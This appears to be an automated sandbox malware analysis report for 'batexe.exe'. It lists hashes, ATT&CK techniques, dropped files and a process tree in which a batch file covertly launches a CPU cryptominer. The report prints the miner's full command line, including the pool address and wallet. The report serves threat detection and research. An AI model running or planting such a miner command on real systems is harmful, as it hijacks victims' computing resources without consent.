73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
299s
platform
windows10-2004_x64
resource
win10v2004-20231222-ja
resource tags

arch:x64arch:x86image:win10v2004-20231222-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
12-02-2024 11:19

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
2788	b2e.exe
4452	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4452	cpuminer-sse2.exe
4452	cpuminer-sse2.exe
4452	cpuminer-sse2.exe
4452	cpuminer-sse2.exe
4452	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/1320-7-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1320 wrote to memory of 2788	1320	batexe.exe	85
PID 1320 wrote to memory of 2788	1320	batexe.exe	85
PID 1320 wrote to memory of 2788	1320	batexe.exe	85
PID 2788 wrote to memory of 5064	2788	b2e.exe	87
PID 2788 wrote to memory of 5064	2788	b2e.exe	87
PID 2788 wrote to memory of 5064	2788	b2e.exe	87
PID 5064 wrote to memory of 4452	5064	cmd.exe	89
PID 5064 wrote to memory of 4452	5064	cmd.exe	89

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1320
- C:\Users\Admin\AppData\Local\Temp\B69E.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\B69E.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\B69E.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2788
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\B96D.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5064
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4452

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\B69E.tmp\b2e.exe

Filesize
5.1MB

MD5
da090143e0dbc6954d87a60dc9d1a35b

SHA1
a45d544401a2d52e22194949cfad65c5a259a806

SHA256
b7086acfdff4f554643fdb076b971a9033fc7e0d478f62a944ba83de40cff476

SHA512
fe429ba822c3db2778fbf841a03111a9cfaa915c6e40e4af15f9c4b20d2c890132d27ed00d0a42f73229ca16714be4ee68c0f8bd4a067c4d75b8d7f8d52187ab

Download Submit
C:\Users\Admin\AppData\Local\Temp\B69E.tmp\b2e.exe

Filesize
10.8MB

MD5
4c4928e64f2c79fd352f83efc5482347

SHA1
59889b633721e5152f4215586abd2a26c80a1b90

SHA256
2cd11a31a854a0f629d800f8f2f2342ff89d92cd9deed1ab916e88e4a34ca884

SHA512
6bcf12eab28f9ab5f7a3fc0e1b42dbe2a432e6761e437b1cf201a577a9ebb31f76115843a0930113ae2f8f48815ed8e968a4df72ac97d8d675335bd8c798a92a

Download Submit
C:\Users\Admin\AppData\Local\Temp\B69E.tmp\b2e.exe

Filesize
10.1MB

MD5
86dc0255fe08058927bdd45b625104e2

SHA1
257e3f18fde9df97467c97973365a8b65efe693a

SHA256
466afb3f73c6261f5d528b01ab270d3bb91e8d40459502945a0ae27794461da2

SHA512
a8a14d5cb56f51a148c05b68a01030a09f69a7fcaed123027147d0fd3a35c9608483fc4d5d699188531ab5d524b1b239e2934e89af8da156d0ec5634173415ed

Download Submit
C:\Users\Admin\AppData\Local\Temp\B96D.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.7MB

MD5
fc0c3509fa8f8764b262894f03c5fed9

SHA1
8738320d81066b0e070d98ba75cb2c2fe9ae1318

SHA256
9ea82d891d0fecdef20bdf6cff2c43369dd57c459c6b79c1b81979171a1c5f32

SHA512
aaf75da2c842f552027ff8cbd343a4dea54a10b04ad9507eacba12209e3d30a1b9159b9d7592384b1292aa92ecb654a4cc506c0642406d7a2d85172ea337d1f6

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.2MB

MD5
9329fca0baee8b13df35097804674548

SHA1
3227b7f7fb80c5122c852ce09c7ee6d933fdb7be

SHA256
3c599bbce1deb354309f4ed8ca846616face46d99e1e79944aea58f72ac94d1f

SHA512
ae043be9fc9ecfb9d28c5f63f7cf952a0b0a3dc2e7fefd278a071cdde609058dcbbbb94d6e47e7013d200fe44c792e3081a796e4e7d6e52c04e48e58b03343ef

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.6MB

MD5
ea811f00e84df93ff2c7914ab6804cc5

SHA1
eabdb8b292a32609a114e69f090b1fae74a5997c

SHA256
4dfcb3832db322d1f8acbfb79250552a795587454d0c28bcf2834e0a84fa14f6

SHA512
fdfeb44966da53304a86b5fecd0cd1c747252758428c793a8521926e93d8f386b89ff5eaaea19cc8e0109755e929ac5bc55c62bf3abb31718b10d021b9b30c77

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.0MB

MD5
81b0270c03fd13c9a5a57b20d3c94f85

SHA1
39575b1838fd8cbcb91df0a9b5e5c87683704942

SHA256
07bcbc049edf7586d9078ee8e0f6d585fd6212e7878ac0eca0ec822f94d8d395

SHA512
bbddf8c9f40022cff6cedb3c14f81d5d91b00cdad8ba18d26f9e549c2ecf9fe31d5c60fd0801eee69b2caae885172c85d879c9dfa84a5afd6e00f6c95963a45a

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.0MB

MD5
d0442d843922624124a0c40ce740ca06

SHA1
f80e3c442ee98106cdb44910ecbc33243ecf5648

SHA256
88257e1c3bc83c14d75de0886299cfd8bc5620ffb5a28569b88cc638a1843198

SHA512
4071b42ac33490d9b14c802b52d4e9a8b26029f837a9c05da924b15e5c2d4a21b7818484f237cad75958e7b19ae8fbecee1e7c01a3d1432e8eb883952ed3fae6

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1320-7-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/2788-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2788-9-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4452-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4452-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4452-46-0x0000000073A60000-0x0000000073AF8000-memory.dmp

Filesize
608KB

Download
memory/4452-47-0x0000000000F60000-0x0000000002815000-memory.dmp

Filesize
24.7MB

Download
memory/4452-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4452-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4452-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4452-45-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4452-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4452-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4452-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4452-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4452-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4452-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4452-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4452-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download